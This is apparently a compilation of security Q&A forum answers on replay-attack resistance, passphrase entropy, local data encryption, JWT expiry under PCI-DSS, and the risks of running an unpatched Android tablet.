Pretty sure this is safe from replay attacks (because timestamp and signing random data), but I'm assuming a strong crypto algorithm, a good crypto signing algorithm, and a cryptographically-strong source of entropy for both clients and the server. Even if someone malicious were to connect to the server during the original signing phase, and were somehow able to guess a working signature (or were able to compromise the entropy source quality of the server, which would create additional problems, anyway, but since we're pretending) they wouldn't be able to get past the peer selection stage where clients choose which other clients they want to connect to.

It does create a DoS opportunity for the server, which really ought to be stateless, but OTOH network connections inherently create opportunity for DoS; either you let anyone connect via SSL, and exhaust memory / cycles / bandwidth, or you start rate limiting, and possibly exclude legitimate users.

EDIT: I answered this question as a theory question, rather than actually giving code or an existing algorithm (AFAIK). Since it's a toy problem, anyway (assuming the server can't be hacked is going a bit far), I thought that would be okay. If that wasn't what you were after, I apologize.


A "passphrase" is just a password; the different term is merely a way to suggest that a password does not necessarily consist in a single word as linguists know them.

A password (or passphrase) is exactly as secure as it is random. The oft-cited jargon in that case is entropy. Using many words (a "phrase") is a possible way to inject a lot of randomness, at the expense of having more characters to type when the password must be entered. Note that randomness and length are not the same thing; a longer password is not necessarily more random. See this question, in particular that answer, for some discussion on these notions.


sadly, there is no way to guarantee your phone not being hacked.
I do recommend your last option on the issue of safety using the alias number as the unsafe. That does provide an extra layer of software to get down to your actual phone number.
But, for us to use the dang item, we must therefore open up at least one possible way for it to get broken into.
If we were to make an unhackable computer, it would have to never be on. Unhackable phone number, never use it. etc.


Secure yet reversible encryption for local data store

Encrypt the data with a strong algorithm like AES. Use pbkdf2 or bcrypt to derive the encryption key from a password.

You need a way to propagate and update the data, unless the solution is meant for a single computer only (If so, just stick with excel spreadsheets. why bother to write an application?). Have the client connect back to the server to update the database and/or download new data from the database. Have the client authenticate using certificates and secure the connection over SSL/TLS.


How long should a JWT be valid in a PCI-DSS compliant service?

Overall the JWT is used on a web login to access pages, so unless you have done something crazy like allowing cmd shell access (can we say major treat), you have 100% control over the time, it is your users and clients login and PCI does not really say much about it.

Really it is just another cookie, so what are your polices for cookie expire?

Now you enter the realm of best pratices....

Is this JWT being used by an administrator of the system where they can access CHD; e.g. PAN?  If so, you should consider MFA, and I would treat it on a 1 by 1 access with 5 minute timeout.

If this JWT is for your clients/CSRs that is a business decision.  I personally would max set the timeout to 15-60 minutes of no activity and refresh it only if they submit a page.  You could get fancy and ask them to renew, but that is up to you and your security policies.  This way it does not expire if they are doing work, but if they step out for lunch, then it closes down the session.

I have seen values as large as 10 hours (to cover a work day for CSRs), and as little as 5 mintues to cover very specific use cases; e.g. CHD access for refund processing.

Regardless of what time you choose, edit your policies to back it up. Because it is a business decision, you want to have documentation that says what the value is from a business CYA position.


How can I safely use an old Android tablet?

You have to make trade-offs between usability and security. There are two types of android security patch level. The patch level 01 contains patches to the android framework and patch level 05 contains vendor patches for the Linux kernel, drivers and firmwares.
While custom ROMs deliver 01 patch level, 05 patch level can be only delivered by OEMs. Your device becomes vulnerable to unpatched vulnerabilities that have been discovered since your device was last updated. If your threat model is minimal and you are only using your device for general purpose, it is still safe to use it as long as you are not installing apps from unknown sources. That's because using only Play Store to install apps significantly decreases your attack vector.
Google removes apps with known malware samples at submission time alone. Some unpopular apps manage to evade detection for months and some innocent apps are later updated to become malicious. See, Barcode Scanner app on Google Play infects 10 million users with one update. If you are using reputed apps, it is unlikely you will ever witness such malicious apps that you can't remove. Although, it's still a possibility but this is where you have to make a trade off. Most of the malicious apps that were found on Play Store were malvertisers that were violating Google ads policies and not exploiting any vulnerability.
Besides, Google Play Protect runs a safety check on apps from the Google Play Store before you download them. It checks your device for potentially harmful apps from other sources as well. It also warns you about any detected potentially harmful apps found, and removes known harmful apps from your device. So you still have some anti-virus like protection even if you are not getting security updates.
In 2020, Over 400 code flaws unearthed in Qualcomm’s DSP chips for smartphones | DEFCON. This can definitely compromise your device upto root. No exploit has been seen in the wild exploiting DSP. Critical vulnerabilities in Bluetooth & Wifi firmware and driver are often discovered. Even with custom ROM security updates, they can't be fixed. This is another trade off you have to make.
Unlocked bootloader cannot protect you against physical access to the device. Root access has no impact on device security, you just have to be more responsible about the apps you grant root access to. When using custom ROM, you have to be precautious about whether SELinux is enforcing or permissive. Permissive doesn't block process for violating SELinux policies, only reports them. There is already an exploit to gain root in SELinux permissive mode | Explanation.
Your device is not officially Treble supported but it has custom support of Treble with custom Generic System Image (GSI). You should use that. GSI gets permanent updates but you won't be getting vendor patches.